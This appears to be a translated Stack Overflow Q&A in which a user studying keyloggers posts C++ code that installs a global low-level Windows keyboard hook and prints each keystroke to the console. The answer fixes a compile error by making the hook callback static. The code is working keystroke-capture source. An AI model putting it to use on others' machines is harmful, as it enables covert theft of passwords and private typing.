1

我正在研究键盘记录器,这就是我得到的

键盘记录器.h:

#pragma once
#include <stdio.h>
#include <windows.h>

class Keylogger
{
    KBDLLHOOKSTRUCT kbdStruct;
    BYTE keyState[256];
    WCHAR buffer[16];

public:
    HHOOK hKeyHook;

    Keylogger(void);
    ~Keylogger(void);
    LRESULT WINAPI KeyEvent(int nCode, WPARAM wParam, LPARAM lParam);
};

键盘记录器.cpp:

#include "Keylogger.h"


Keylogger::Keylogger(void)
{
}


Keylogger::~Keylogger(void)
{
}

LRESULT WINAPI Keylogger::KeyEvent(int nCode, WPARAM wParam, LPARAM lParam)
{
    if( (nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)) )
    {
        kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
        GetKeyboardState((PBYTE)&keyState);
        ToUnicode(kbdStruct.vkCode, kbdStruct.scanCode, (PBYTE)&keyState, (LPWSTR)&buffer, sizeof(buffer) / 2, 0);
        printf("%X\t%c\n", buffer[0], buffer[0]);
    }

    return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
}

主.cpp:

#include "Keylogger.cpp"

int main(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int nCmdShow)
{
    Keylogger kl = Keylogger();

    kl.hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) kl.KeyEvent, GetModuleHandle(NULL), 0);

    MSG message;
    while(GetMessage(&message, NULL, 0, 0))
    {
        TranslateMessage(&message);
        DispatchMessage(&message);
    }

    UnhookWindowsHookEx(kl.hKeyHook);
    return 0;
}

在以下行中,kl.hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) kl.KeyEvent, GetModuleHandle(NULL), 0);我收到错误 C2440: 'type cast' : cannot convert from 'overloaded-function' to 'HOOKPROC'

有没有办法来解决这个问题?

4

1 回答 1

3

WinAPI 主要是一个 C 编程接口,所以它不知道类。回调应该是静态的:

static LRESULT WINAPI KeyEvent(int nCode, WPARAM wParam, LPARAM lParam);

然后

kl.hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) Keylogger::KeyEvent, GetModuleHandle(NULL), 0);
于 2013-10-07T16:41:28.270 回答